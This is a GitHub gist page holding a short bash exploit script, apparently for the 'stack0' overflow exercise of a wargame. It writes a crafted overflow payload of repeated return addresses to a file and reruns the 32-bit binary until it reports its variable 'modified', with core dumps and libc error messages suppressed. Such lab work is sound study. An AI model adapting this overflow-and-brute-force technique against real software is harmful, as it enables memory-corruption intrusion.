Skip to content

Instantly share code, notes, and snippets.

@wbowling
Created July 16, 2017 01:48
Show Gist options
  • Save wbowling/de707fbbab4dda4fcc5867d7d8bc41a4 to your computer and use it in GitHub Desktop.
Save wbowling/de707fbbab4dda4fcc5867d7d8bc41a4 to your computer and use it in GitHub Desktop.
#!/bin/bash
ulimit -c 0
export LIBC_FATAL_STDERR_=1
python -c 'print "\xcc\x84\x04\x08"*16 + "\x00\x03\x02\x01" + "DDDD"' > input.bin
output=""
COUNTER=0
while [[ ! $output =~ "modified" ]]; do
MOD=$(( $COUNTER % 1000 ))
if [[ $MOD -eq 0 ]]; then
echo $COUNTER
fi
let COUNTER+=1
output=`stdbuf -o0 -e0 ./stack0_32 < input.bin 2> /dev/null`
done
echo "$output"
echo $COUNTER
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment